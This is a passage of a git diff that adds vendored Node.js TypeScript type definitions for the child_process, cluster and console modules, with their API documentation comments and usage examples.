stdout: string | Buffer, stderr: string | Buffer) => void, + ): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptionsWithOtherEncoding, + callback: (error: ExecFileException | null, stdout: string | Buffer, stderr: string | Buffer) => void, + ): ChildProcess; + // `options` without an `encoding` means stdout/stderr are definitely `string`. + function execFile( + file: string, + options: ExecFileOptions, + callback: (error: ExecFileException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptions, + callback: (error: ExecFileException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + // fallback if nothing else matches. Worst case is always `string | Buffer`. + function execFile( + file: string, + options: (ObjectEncodingOptions & ExecFileOptions) | undefined | null, + callback: + | ((error: ExecFileException | null, stdout: string | Buffer, stderr: string | Buffer) => void) + | undefined + | null, + ): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + options: (ObjectEncodingOptions & ExecFileOptions) | undefined | null, + callback: + | ((error: ExecFileException | null, stdout: string | Buffer, stderr: string | Buffer) => void) + | undefined + | null, + ): ChildProcess; + namespace execFile { + function __promisify__(file: string): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + file: string, + args: readonly string[] | undefined | null, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + file: string, + options: ExecFileOptionsWithBufferEncoding, + ): PromiseWithChild<{ + stdout: Buffer; + stderr: Buffer; + }>; + function __promisify__( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptionsWithBufferEncoding, + ): PromiseWithChild<{ + stdout: Buffer; + stderr: Buffer; + }>; + function __promisify__( + file: string, + options: ExecFileOptionsWithStringEncoding, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptionsWithStringEncoding, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + file: string, + options: ExecFileOptionsWithOtherEncoding, + ): PromiseWithChild<{ + stdout: string | Buffer; + stderr: string | Buffer; + }>; + function __promisify__( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptionsWithOtherEncoding, + ): PromiseWithChild<{ + stdout: string | Buffer; + stderr: string | Buffer; + }>; + function __promisify__( + file: string, + options: ExecFileOptions, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptions, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + file: string, + options: (ObjectEncodingOptions & ExecFileOptions) | undefined | null, + ): PromiseWithChild<{ + stdout: string | Buffer; + stderr: string | Buffer; + }>; + function __promisify__( + file: string, + args: readonly string[] | undefined | null, + options: (ObjectEncodingOptions & ExecFileOptions) | undefined | null, + ): PromiseWithChild<{ + stdout: string | Buffer; + stderr: string | Buffer; + }>; + } + interface ForkOptions extends ProcessEnvOptions, MessagingOptions, Abortable { + execPath?: string | undefined; + execArgv?: string[] | undefined; + silent?: boolean | undefined; + /** + * Can be set to 'pipe', 'inherit', 'overlapped', or 'ignore', or an array of these strings. + * If passed as an array, the first element is used for `stdin`, the second for + * `stdout`, and the third for `stderr`. A fourth element can be used to + * specify the `stdio` behavior beyond the standard streams. See + * {@link ChildProcess.stdio} for more information. + * + * @default 'pipe' + */ + stdio?: StdioOptions | undefined; + detached?: boolean | undefined; + windowsVerbatimArguments?: boolean | undefined; + } + /** + * The `child_process.fork()` method is a special case of {@link spawn} used specifically to spawn new Node.js processes. + * Like {@link spawn}, a `ChildProcess` object is returned. The + * returned `ChildProcess` will have an additional communication channel + * built-in that allows messages to be passed back and forth between the parent and + * child. See `subprocess.send()` for details. + * + * Keep in mind that spawned Node.js child processes are + * independent of the parent with exception of the IPC communication channel + * that is established between the two. Each process has its own memory, with + * their own V8 instances. Because of the additional resource allocations + * required, spawning a large number of child Node.js processes is not + * recommended. + * + * By default, `child_process.fork()` will spawn new Node.js instances using the `process.execPath` of the parent process. The `execPath` property in the `options` object allows for an alternative + * execution path to be used. + * + * Node.js processes launched with a custom `execPath` will communicate with the + * parent process using the file descriptor (fd) identified using the + * environment variable `NODE_CHANNEL_FD` on the child process. + * + * Unlike the [`fork(2)`](http://man7.org/linux/man-pages/man2/fork.2.html) POSIX system call, `child_process.fork()` does not clone the + * current process. + * + * The `shell` option available in {@link spawn} is not supported by `child_process.fork()` and will be ignored if set. + * + * If the `signal` option is enabled, calling `.abort()` on the corresponding `AbortController` is similar to calling `.kill()` on the child process except + * the error passed to the callback will be an `AbortError`: + * + * ```js + * if (process.argv[2] === 'child') { + * setTimeout(() => { + * console.log(`Hello from ${process.argv[2]}!`); + * }, 1_000); + * } else { + * import { fork } from 'node:child_process'; + * const controller = new AbortController(); + * const { signal } = controller; + * const child = fork(__filename, ['child'], { signal }); + * child.on('error', (err) => { + * // This will be called with err being an AbortError if the controller aborts + * }); + * controller.abort(); // Stops the child process + * } + * ``` + * @since v0.5.0 + * @param modulePath The module to run in the child. + * @param args List of string arguments. + */ + function fork(modulePath: string | URL, options?: ForkOptions): ChildProcess; + function fork(modulePath: string | URL, args?: readonly string[], options?: ForkOptions): ChildProcess; + interface SpawnSyncOptions extends CommonSpawnOptions { + input?: string | NodeJS.ArrayBufferView | undefined; + maxBuffer?: number | undefined; + encoding?: BufferEncoding | "buffer" | null | undefined; + } + interface SpawnSyncOptionsWithStringEncoding extends SpawnSyncOptions { + encoding: BufferEncoding; + } + interface SpawnSyncOptionsWithBufferEncoding extends SpawnSyncOptions { + encoding?: "buffer" | null | undefined; + } + interface SpawnSyncReturns { + pid: number; + output: Array; + stdout: T; + stderr: T; + status: number | null; + signal: NodeJS.Signals | null; + error?: Error | undefined; + } + /** + * The `child_process.spawnSync()` method is generally identical to {@link spawn} with the exception that the function will not return + * until the child process has fully closed. When a timeout has been encountered + * and `killSignal` is sent, the method won't return until the process has + * completely exited. If the process intercepts and handles the `SIGTERM` signal + * and doesn't exit, the parent process will wait until the child process has + * exited. + * + * **If the `shell` option is enabled, do not pass unsanitized user input to this** + * **function. Any input containing shell metacharacters may be used to trigger** + * **arbitrary command execution.** + * @since v0.11.12 + * @param command The command to run. + * @param args List of string arguments. + */ + function spawnSync(command: string): SpawnSyncReturns; + function spawnSync(command: string, options: SpawnSyncOptionsWithStringEncoding): SpawnSyncReturns; + function spawnSync(command: string, options: SpawnSyncOptionsWithBufferEncoding): SpawnSyncReturns; + function spawnSync(command: string, options?: SpawnSyncOptions): SpawnSyncReturns; + function spawnSync(command: string, args: readonly string[]): SpawnSyncReturns; + function spawnSync( + command: string, + args: readonly string[], + options: SpawnSyncOptionsWithStringEncoding, + ): SpawnSyncReturns; + function spawnSync( + command: string, + args: readonly string[], + options: SpawnSyncOptionsWithBufferEncoding, + ): SpawnSyncReturns; + function spawnSync( + command: string, + args?: readonly string[], + options?: SpawnSyncOptions, + ): SpawnSyncReturns; + interface CommonExecOptions extends CommonOptions { + input?: string | NodeJS.ArrayBufferView | undefined; + /** + * Can be set to 'pipe', 'inherit, or 'ignore', or an array of these strings. + * If passed as an array, the first element is used for `stdin`, the second for + * `stdout`, and the third for `stderr`. A fourth element can be used to + * specify the `stdio` behavior beyond the standard streams. See + * {@link ChildProcess.stdio} for more information. + * + * @default 'pipe' + */ + stdio?: StdioOptions | undefined; + killSignal?: NodeJS.Signals | number | undefined; + maxBuffer?: number | undefined; + encoding?: BufferEncoding | "buffer" | null | undefined; + } + interface ExecSyncOptions extends CommonExecOptions { + shell?: string | undefined; + } + interface ExecSyncOptionsWithStringEncoding extends ExecSyncOptions { + encoding: BufferEncoding; + } + interface ExecSyncOptionsWithBufferEncoding extends ExecSyncOptions { + encoding?: "buffer" | null | undefined; + } + /** + * The `child_process.execSync()` method is generally identical to {@link exec} with the exception that the method will not return + * until the child process has fully closed. When a timeout has been encountered + * and `killSignal` is sent, the method won't return until the process has + * completely exited. If the child process intercepts and handles the `SIGTERM` signal and doesn't exit, the parent process will wait until the child process + * has exited. + * + * If the process times out or has a non-zero exit code, this method will throw. + * The `Error` object will contain the entire result from {@link spawnSync}. + * + * **Never pass unsanitized user input to this function. Any input containing shell** + * **metacharacters may be used to trigger arbitrary command execution.** + * @since v0.11.12 + * @param command The command to run. + * @return The stdout from the command. + */ + function execSync(command: string): Buffer; + function execSync(command: string, options: ExecSyncOptionsWithStringEncoding): string; + function execSync(command: string, options: ExecSyncOptionsWithBufferEncoding): Buffer; + function execSync(command: string, options?: ExecSyncOptions): string | Buffer; + interface ExecFileSyncOptions extends CommonExecOptions { + shell?: boolean | string | undefined; + } + interface ExecFileSyncOptionsWithStringEncoding extends ExecFileSyncOptions { + encoding: BufferEncoding; + } + interface ExecFileSyncOptionsWithBufferEncoding extends ExecFileSyncOptions { + encoding?: "buffer" | null; // specify `null`. + } + /** + * The `child_process.execFileSync()` method is generally identical to {@link execFile} with the exception that the method will not + * return until the child process has fully closed. When a timeout has been + * encountered and `killSignal` is sent, the method won't return until the process + * has completely exited. + * + * If the child process intercepts and handles the `SIGTERM` signal and + * does not exit, the parent process will still wait until the child process has + * exited. + * + * If the process times out or has a non-zero exit code, this method will throw an `Error` that will include the full result of the underlying {@link spawnSync}. + * + * **If the `shell` option is enabled, do not pass unsanitized user input to this** + * **function. Any input containing shell metacharacters may be used to trigger** + * **arbitrary command execution.** + * @since v0.11.12 + * @param file The name or path of the executable file to run. + * @param args List of string arguments. + * @return The stdout from the command. + */ + function execFileSync(file: string): Buffer; + function execFileSync(file: string, options: ExecFileSyncOptionsWithStringEncoding): string; + function execFileSync(file: string, options: ExecFileSyncOptionsWithBufferEncoding): Buffer; + function execFileSync(file: string, options?: ExecFileSyncOptions): string | Buffer; + function execFileSync(file: string, args: readonly string[]): Buffer; + function execFileSync( + file: string, + args: readonly string[], + options: ExecFileSyncOptionsWithStringEncoding, + ): string; + function execFileSync( + file: string, + args: readonly string[], + options: ExecFileSyncOptionsWithBufferEncoding, + ): Buffer; + function execFileSync(file: string, args?: readonly string[], options?: ExecFileSyncOptions): string | Buffer; +} +declare module "node:child_process" { + export * from "child_process"; +} diff --git a/node_modules/@types/node/cluster.d.ts b/node_modules/@types/node/cluster.d.ts new file mode 100644 index 000000000000..86b48d9b2980 --- /dev/null +++ b/node_modules/@types/node/cluster.d.ts @@ -0,0 +1,579 @@ +/** + * Clusters of Node.js processes can be used to run multiple instances of Node.js + * that can distribute workloads among their application threads. When process isolation + * is not needed, use the [`worker_threads`](https://nodejs.org/docs/latest-v22.x/api/worker_threads.html) + * module instead, which allows running multiple application threads within a single Node.js instance. + * + * The cluster module allows easy creation of child processes that all share + * server ports. + * + * ```js + * import cluster from 'node:cluster'; + * import http from 'node:http'; + * import { availableParallelism } from 'node:os'; + * import process from 'node:process'; + * + * const numCPUs = availableParallelism(); + * + * if (cluster.isPrimary) { + * console.log(`Primary ${process.pid} is running`); + * + * // Fork workers. + * for (let i = 0; i < numCPUs; i++) { + * cluster.fork(); + * } + * + * cluster.on('exit', (worker, code, signal) => { + * console.log(`worker ${worker.process.pid} died`); + * }); + * } else { + * // Workers can share any TCP connection + * // In this case it is an HTTP server + * http.createServer((req, res) => { + * res.writeHead(200); + * res.end('hello world\n'); + * }).listen(8000); + * + * console.log(`Worker ${process.pid} started`); + * } + * ``` + * + * Running Node.js will now share port 8000 between the workers: + * + * ```console + * $ node server.js + * Primary 3596 is running + * Worker 4324 started + * Worker 4520 started + * Worker 6056 started + * Worker 5644 started + * ``` + * + * On Windows, it is not yet possible to set up a named pipe server in a worker. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/cluster.js) + */ +declare module "cluster" { + import * as child from "node:child_process"; + import EventEmitter = require("node:events"); + import * as net from "node:net"; + type SerializationType = "json" | "advanced"; + export interface ClusterSettings { + /** + * List of string arguments passed to the Node.js executable. + * @default process.execArgv + */ + execArgv?: string[] | undefined; + /** + * File path to worker file. + * @default process.argv[1] + */ + exec?: string | undefined; + /** + * String arguments passed to worker. + * @default process.argv.slice(2) + */ + args?: string[] | undefined; + /** + * Whether or not to send output to parent's stdio. + * @default false + */ + silent?: boolean | undefined; + /** + * Configures the stdio of forked processes. Because the cluster module relies on IPC to function, this configuration must + * contain an `'ipc'` entry. When this option is provided, it overrides `silent`. See [`child_prcess.spawn()`](https://nodejs.org/docs/latest-v22.x/api/child_process.html#child_processspawncommand-args-options)'s + * [`stdio`](https://nodejs.org/docs/latest-v22.x/api/child_process.html#optionsstdio). + */ + stdio?: any[] | undefined; + /** + * Sets the user identity of the process. (See [`setuid(2)`](https://man7.org/linux/man-pages/man2/setuid.2.html).) + */ + uid?: number | undefined; + /** + * Sets the group identity of the process. (See [`setgid(2)`](https://man7.org/linux/man-pages/man2/setgid.2.html).) + */ + gid?: number | undefined; + /** + * Sets inspector port of worker. This can be a number, or a function that takes no arguments and returns a number. + * By default each worker gets its own port, incremented from the primary's `process.debugPort`. + */ + inspectPort?: number | (() => number) | undefined; + /** + * Specify the kind of serialization used for sending messages between processes. Possible values are `'json'` and `'advanced'`. + * See [Advanced serialization for `child_process`](https://nodejs.org/docs/latest-v22.x/api/child_process.html#advanced-serialization) for more details. + * @default false + */ + serialization?: SerializationType | undefined; + /** + * Current working directory of the worker process. + * @default undefined (inherits from parent process) + */ + cwd?: string | undefined; + /** + * Hide the forked processes console window that would normally be created on Windows systems. + * @default false + */ + windowsHide?: boolean | undefined; + } + export interface Address { + address: string; + port: number; + /** + * The `addressType` is one of: + * + * * `4` (TCPv4) + * * `6` (TCPv6) + * * `-1` (Unix domain socket) + * * `'udp4'` or `'udp6'` (UDPv4 or UDPv6) + */ + addressType: 4 | 6 | -1 | "udp4" | "udp6"; + } + /** + * A `Worker` object contains all public information and method about a worker. + * In the primary it can be obtained using `cluster.workers`. In a worker + * it can be obtained using `cluster.worker`. + * @since v0.7.0 + */ + export class Worker extends EventEmitter { + /** + * Each new worker is given its own unique id, this id is stored in the `id`. + * + * While a worker is alive, this is the key that indexes it in `cluster.workers`. + * @since v0.8.0 + */ + id: number; + /** + * All workers are created using [`child_process.fork()`](https://nodejs.org/docs/latest-v22.x/api/child_process.html#child_processforkmodulepath-args-options), the returned object + * from this function is stored as `.process`. In a worker, the global `process` is stored. + * + * See: [Child Process module](https://nodejs.org/docs/latest-v22.x/api/child_process.html#child_processforkmodulepath-args-options). + * + * Workers will call `process.exit(0)` if the `'disconnect'` event occurs + * on `process` and `.exitedAfterDisconnect` is not `true`. This protects against + * accidental disconnection. + * @since v0.7.0 + */ + process: child.ChildProcess; + /** + * Send a message to a worker or primary, optionally with a handle. + * + * In the primary, this sends a message to a specific worker. It is identical to [`ChildProcess.send()`](https://nodejs.org/docs/latest-v22.x/api/child_process.html#subprocesssendmessage-sendhandle-options-callback). + * + * In a worker, this sends a message to the primary. It is identical to `process.send()`. + * + * This example will echo back all messages from the primary: + * + * ```js + * if (cluster.isPrimary) { + * const worker = cluster.fork(); + * worker.send('hi there'); + * + * } else if (cluster.isWorker) { + * process.on('message', (msg) => { + * process.send(msg); + * }); + * } + * ``` + * @since v0.7.0 + * @param options The `options` argument, if present, is an object used to parameterize the sending of certain types of handles. + */ + send(message: child.Serializable, callback?: (error: Error | null) => void): boolean; + send( + message: child.Serializable, + sendHandle: child.SendHandle, + callback?: (error: Error | null) => void, + ): boolean; + send( + message: child.Serializable, + sendHandle: child.SendHandle, + options?: child.MessageOptions, + callback?: (error: Error | null) => void, + ): boolean; + /** + * This function will kill the worker. In the primary worker, it does this by + * disconnecting the `worker.process`, and once disconnected, killing with `signal`. In the worker, it does it by killing the process with `signal`. + * + * The `kill()` function kills the worker process without waiting for a graceful + * disconnect, it has the same behavior as `worker.process.kill()`. + * + * This method is aliased as `worker.destroy()` for backwards compatibility. + * + * In a worker, `process.kill()` exists, but it is not this function; + * it is [`kill()`](https://nodejs.org/docs/latest-v22.x/api/process.html#processkillpid-signal). + * @since v0.9.12 + * @param [signal='SIGTERM'] Name of the kill signal to send to the worker process. + */ + kill(signal?: string): void; + destroy(signal?: string): void; + /** + * In a worker, this function will close all servers, wait for the `'close'` event + * on those servers, and then disconnect the IPC channel. + * + * In the primary, an internal message is sent to the worker causing it to call `.disconnect()` on itself. + * + * Causes `.exitedAfterDisconnect` to be set. + * + * After a server is closed, it will no longer accept new connections, + * but connections may be accepted by any other listening worker. Existing + * connections will be allowed to close as usual. When no more connections exist, + * see `server.close()`, the IPC channel to the worker will close allowing it + * to die gracefully. + * + * The above applies _only_ to server connections, client connections are not + * automatically closed by workers, and disconnect does not wait for them to close + * before exiting. + * + * In a worker, `process.disconnect` exists, but it is not this function; + * it is `disconnect()`. + * + * Because long living server connections may block workers from disconnecting, it + * may be useful to send a message, so application specific actions may be taken to + * close them. It also may be useful to implement a timeout, killing a worker if + * the `'disconnect'` event has not been emitted after some time. + * + * ```js + * import net from 'node:net'; + * + * if (cluster.isPrimary) { + * const worker = cluster.fork(); + * let timeout; + * + * worker.on('listening', (address) => { + * worker.send('shutdown'); + * worker.disconnect(); + * timeout = setTimeout(() => { + * worker.kill(); + * }, 2000); + * }); + * + * worker.on('disconnect', () => { + * clearTimeout(timeout); + * }); + * + * } else if (cluster.isWorker) { + * const server = net.createServer((socket) => { + * // Connections never end + * }); + * + * server.listen(8000); + * + * process.on('message', (msg) => { + * if (msg === 'shutdown') { + * // Initiate graceful close of any connections to server + * } + * }); + * } + * ``` + * @since v0.7.7 + * @return A reference to `worker`. + */ + disconnect(): void; + /** + * This function returns `true` if the worker is connected to its primary via its + * IPC channel, `false` otherwise. A worker is connected to its primary after it + * has been created. It is disconnected after the `'disconnect'` event is emitted. + * @since v0.11.14 + */ + isConnected(): boolean; + /** + * This function returns `true` if the worker's process has terminated (either + * because of exiting or being signaled). Otherwise, it returns `false`. + * + * ```js + * import cluster from 'node:cluster'; + * import http from 'node:http'; + * import { availableParallelism } from 'node:os'; + * import process from 'node:process'; + * + * const numCPUs = availableParallelism(); + * + * if (cluster.isPrimary) { + * console.log(`Primary ${process.pid} is running`); + * + * // Fork workers. + * for (let i = 0; i < numCPUs; i++) { + * cluster.fork(); + * } + * + * cluster.on('fork', (worker) => { + * console.log('worker is dead:', worker.isDead()); + * }); + * + * cluster.on('exit', (worker, code, signal) => { + * console.log('worker is dead:', worker.isDead()); + * }); + * } else { + * // Workers can share any TCP connection. In this case, it is an HTTP server. + * http.createServer((req, res) => { + * res.writeHead(200); + * res.end(`Current process\n ${process.pid}`); + * process.kill(process.pid); + * }).listen(8000); + * } + * ``` + * @since v0.11.14 + */ + isDead(): boolean; + /** + * This property is `true` if the worker exited due to `.disconnect()`. + * If the worker exited any other way, it is `false`. If the + * worker has not exited, it is `undefined`. + * + * The boolean `worker.exitedAfterDisconnect` allows distinguishing between + * voluntary and accidental exit, the primary may choose not to respawn a worker + * based on this value. + * + * ```js + * cluster.on('exit', (worker, code, signal) => { + * if (worker.exitedAfterDisconnect === true) { + * console.log('Oh, it was just voluntary – no need to worry'); + * } + * }); + * + * // kill worker + * worker.kill(); + * ``` + * @since v6.0.0 + */ + exitedAfterDisconnect: boolean; + /** + * events.EventEmitter + * 1. disconnect + * 2. error + * 3. exit + * 4. listening + * 5. message + * 6. online + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "disconnect", listener: () => void): this; + addListener(event: "error", listener: (error: Error) => void): this; + addListener(event: "exit", listener: (code: number, signal: string) => void): this; + addListener(event: "listening", listener: (address: Address) => void): this; + addListener(event: "message", listener: (message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + addListener(event: "online", listener: () => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "disconnect"): boolean; + emit(event: "error", error: Error): boolean; + emit(event: "exit", code: number, signal: string): boolean; + emit(event: "listening", address: Address): boolean; + emit(event: "message", message: any, handle: net.Socket | net.Server): boolean; + emit(event: "online"): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "disconnect", listener: () => void): this; + on(event: "error", listener: (error: Error) => void): this; + on(event: "exit", listener: (code: number, signal: string) => void): this; + on(event: "listening", listener: (address: Address) => void): this; + on(event: "message", listener: (message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + on(event: "online", listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "disconnect", listener: () => void): this; + once(event: "error", listener: (error: Error) => void): this; + once(event: "exit", listener: (code: number, signal: string) => void): this; + once(event: "listening", listener: (address: Address) => void): this; + once(event: "message", listener: (message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + once(event: "online", listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "disconnect", listener: () => void): this; + prependListener(event: "error", listener: (error: Error) => void): this; + prependListener(event: "exit", listener: (code: number, signal: string) => void): this; + prependListener(event: "listening", listener: (address: Address) => void): this; + prependListener(event: "message", listener: (message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + prependListener(event: "online", listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "disconnect", listener: () => void): this; + prependOnceListener(event: "error", listener: (error: Error) => void): this; + prependOnceListener(event: "exit", listener: (code: number, signal: string) => void): this; + prependOnceListener(event: "listening", listener: (address: Address) => void): this; + prependOnceListener(event: "message", listener: (message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + prependOnceListener(event: "online", listener: () => void): this; + } + export interface Cluster extends EventEmitter { + disconnect(callback?: () => void): void; + /** + * Spawn a new worker process. + * + * This can only be called from the primary process. + * @param env Key/value pairs to add to worker process environment. + * @since v0.6.0 + */ + fork(env?: any): Worker; + /** @deprecated since v16.0.0 - use isPrimary. */ + readonly isMaster: boolean; + /** + * True if the process is a primary. This is determined by the `process.env.NODE_UNIQUE_ID`. If `process.env.NODE_UNIQUE_ID` + * is undefined, then `isPrimary` is `true`. + * @since v16.0.0 + */ + readonly isPrimary: boolean; + /** + * True if the process is not a primary (it is the negation of `cluster.isPrimary`). + * @since v0.6.0 + */ + readonly isWorker: boolean; + /** + * The scheduling policy, either `cluster.SCHED_RR` for round-robin or `cluster.SCHED_NONE` to leave it to the operating system. This is a + * global setting and effectively frozen once either the first worker is spawned, or [`.setupPrimary()`](https://nodejs.org/docs/latest-v22.x/api/cluster.html#clustersetupprimarysettings) + * is called, whichever comes first. + * + * `SCHED_RR` is the default on all operating systems except Windows. Windows will change to `SCHED_RR` once libuv is able to effectively distribute + * IOCP handles without incurring a large performance hit. + * + * `cluster.schedulingPolicy` can also be set through the `NODE_CLUSTER_SCHED_POLICY` environment variable. Valid values are `'rr'` and `'none'`. + * @since v0.11.2 + */ + schedulingPolicy: number; + /** + * After calling [`.setupPrimary()`](https://nodejs.org/docs/latest-v22.x/api/cluster.html#clustersetupprimarysettings) + * (or [`.fork()`](https://nodejs.org/docs/latest-v22.x/api/cluster.html#clusterforkenv)) this settings object will contain + * the settings, including the default values. + * + * This object is not intended to be changed or set manually. + * @since v0.7.1 + */ + readonly settings: ClusterSettings; + /** @deprecated since v16.0.0 - use [`.setupPrimary()`](https://nodejs.org/docs/latest-v22.x/api/cluster.html#clustersetupprimarysettings) instead. */ + setupMaster(settings?: ClusterSettings): void; + /** + * `setupPrimary` is used to change the default 'fork' behavior. Once called, the settings will be present in `cluster.settings`. + * + * Any settings changes only affect future calls to [`.fork()`](https://nodejs.org/docs/latest-v22.x/api/cluster.html#clusterforkenv) + * and have no effect on workers that are already running. + * + * The only attribute of a worker that cannot be set via `.setupPrimary()` is the `env` passed to + * [`.fork()`](https://nodejs.org/docs/latest-v22.x/api/cluster.html#clusterforkenv). + * + * The defaults above apply to the first call only; the defaults for later calls are the current values at the time of + * `cluster.setupPrimary()` is called. + * + * ```js + * import cluster from 'node:cluster'; + * + * cluster.setupPrimary({ + * exec: 'worker.js', + * args: ['--use', 'https'], + * silent: true, + * }); + * cluster.fork(); // https worker + * cluster.setupPrimary({ + * exec: 'worker.js', + * args: ['--use', 'http'], + * }); + * cluster.fork(); // http worker + * ``` + * + * This can only be called from the primary process. + * @since v16.0.0 + */ + setupPrimary(settings?: ClusterSettings): void; + /** + * A reference to the current worker object. Not available in the primary process. + * + * ```js + * import cluster from 'node:cluster'; + * + * if (cluster.isPrimary) { + * console.log('I am primary'); + * cluster.fork(); + * cluster.fork(); + * } else if (cluster.isWorker) { + * console.log(`I am worker #${cluster.worker.id}`); + * } + * ``` + * @since v0.7.0 + */ + readonly worker?: Worker | undefined; + /** + * A hash that stores the active worker objects, keyed by `id` field. This makes it easy to loop through all the workers. It is only available in the primary process. + * + * A worker is removed from `cluster.workers` after the worker has disconnected _and_ exited. The order between these two events cannot be determined in advance. However, it + * is guaranteed that the removal from the `cluster.workers` list happens before the last `'disconnect'` or `'exit'` event is emitted. + * + * ```js + * import cluster from 'node:cluster'; + * + * for (const worker of Object.values(cluster.workers)) { + * worker.send('big announcement to all workers'); + * } + * ``` + * @since v0.7.0 + */ + readonly workers?: NodeJS.Dict | undefined; + readonly SCHED_NONE: number; + readonly SCHED_RR: number; + /** + * events.EventEmitter + * 1. disconnect + * 2. exit + * 3. fork + * 4. listening + * 5. message + * 6. online + * 7. setup + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "disconnect", listener: (worker: Worker) => void): this; + addListener(event: "exit", listener: (worker: Worker, code: number, signal: string) => void): this; + addListener(event: "fork", listener: (worker: Worker) => void): this; + addListener(event: "listening", listener: (worker: Worker, address: Address) => void): this; + addListener( + event: "message", + listener: (worker: Worker, message: any, handle: net.Socket | net.Server) => void, + ): this; // the handle is a net.Socket or net.Server object, or undefined. + addListener(event: "online", listener: (worker: Worker) => void): this; + addListener(event: "setup", listener: (settings: ClusterSettings) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "disconnect", worker: Worker): boolean; + emit(event: "exit", worker: Worker, code: number, signal: string): boolean; + emit(event: "fork", worker: Worker): boolean; + emit(event: "listening", worker: Worker, address: Address): boolean; + emit(event: "message", worker: Worker, message: any, handle: net.Socket | net.Server): boolean; + emit(event: "online", worker: Worker): boolean; + emit(event: "setup", settings: ClusterSettings): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "disconnect", listener: (worker: Worker) => void): this; + on(event: "exit", listener: (worker: Worker, code: number, signal: string) => void): this; + on(event: "fork", listener: (worker: Worker) => void): this; + on(event: "listening", listener: (worker: Worker, address: Address) => void): this; + on(event: "message", listener: (worker: Worker, message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + on(event: "online", listener: (worker: Worker) => void): this; + on(event: "setup", listener: (settings: ClusterSettings) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "disconnect", listener: (worker: Worker) => void): this; + once(event: "exit", listener: (worker: Worker, code: number, signal: string) => void): this; + once(event: "fork", listener: (worker: Worker) => void): this; + once(event: "listening", listener: (worker: Worker, address: Address) => void): this; + once(event: "message", listener: (worker: Worker, message: any, handle: net.Socket | net.Server) => void): this; // the handle is a net.Socket or net.Server object, or undefined. + once(event: "online", listener: (worker: Worker) => void): this; + once(event: "setup", listener: (settings: ClusterSettings) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "disconnect", listener: (worker: Worker) => void): this; + prependListener(event: "exit", listener: (worker: Worker, code: number, signal: string) => void): this; + prependListener(event: "fork", listener: (worker: Worker) => void): this; + prependListener(event: "listening", listener: (worker: Worker, address: Address) => void): this; + // the handle is a net.Socket or net.Server object, or undefined. + prependListener( + event: "message", + listener: (worker: Worker, message: any, handle?: net.Socket | net.Server) => void, + ): this; + prependListener(event: "online", listener: (worker: Worker) => void): this; + prependListener(event: "setup", listener: (settings: ClusterSettings) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "disconnect", listener: (worker: Worker) => void): this; + prependOnceListener(event: "exit", listener: (worker: Worker, code: number, signal: string) => void): this; + prependOnceListener(event: "fork", listener: (worker: Worker) => void): this; + prependOnceListener(event: "listening", listener: (worker: Worker, address: Address) => void): this; + // the handle is a net.Socket or net.Server object, or undefined. + prependOnceListener( + event: "message", + listener: (worker: Worker, message: any, handle: net.Socket | net.Server) => void, + ): this; + prependOnceListener(event: "online", listener: (worker: Worker) => void): this; + prependOnceListener(event: "setup", listener: (settings: ClusterSettings) => void): this; + } + const cluster: Cluster; + export default cluster; +} +declare module "node:cluster" { + export * from "cluster"; + export { default as default } from "cluster"; +} diff --git a/node_modules/@types/node/console.d.ts b/node_modules/@types/node/console.d.ts new file mode 100644 index 000000000000..3e4c2d9a43df --- /dev/null +++ b/node_modules/@types/node/console.d.ts @@ -0,0 +1,452 @@ +/** + * The `node:console` module provides a simple debugging console that is similar to + * the JavaScript console mechanism provided by web browsers. + * + * The module exports two specific components: + * + * * A `Console` class with methods such as `console.log()`, `console.error()`, and `console.warn()` that can be used to write to any Node.js stream. + * * A global `console` instance configured to write to [`process.stdout`](https://nodejs.org/docs/latest-v22.x/api/process.html#processstdout) and + * [`process.stderr`](https://nodejs.org/docs/latest-v22.x/api/process.html#processstderr). The global `console` can be used without importing the `node:console` module. + * + * _**Warning**_: The global console object's methods are neither consistently + * synchronous like the browser APIs they resemble, nor are they consistently + * asynchronous like all other Node.js streams. See the [`note on process I/O`](https://nodejs.org/docs/latest-v22.x/api/process.html#a-note-on-process-io) for + * more information. + * + * Example using the global `console`: + * + * ```js + * console.log('hello world'); + * // Prints: hello world, to stdout + * console.log('hello %s', 'world'); + * // Prints: hello world, to stdout + * console.error(new Error('Whoops, something bad 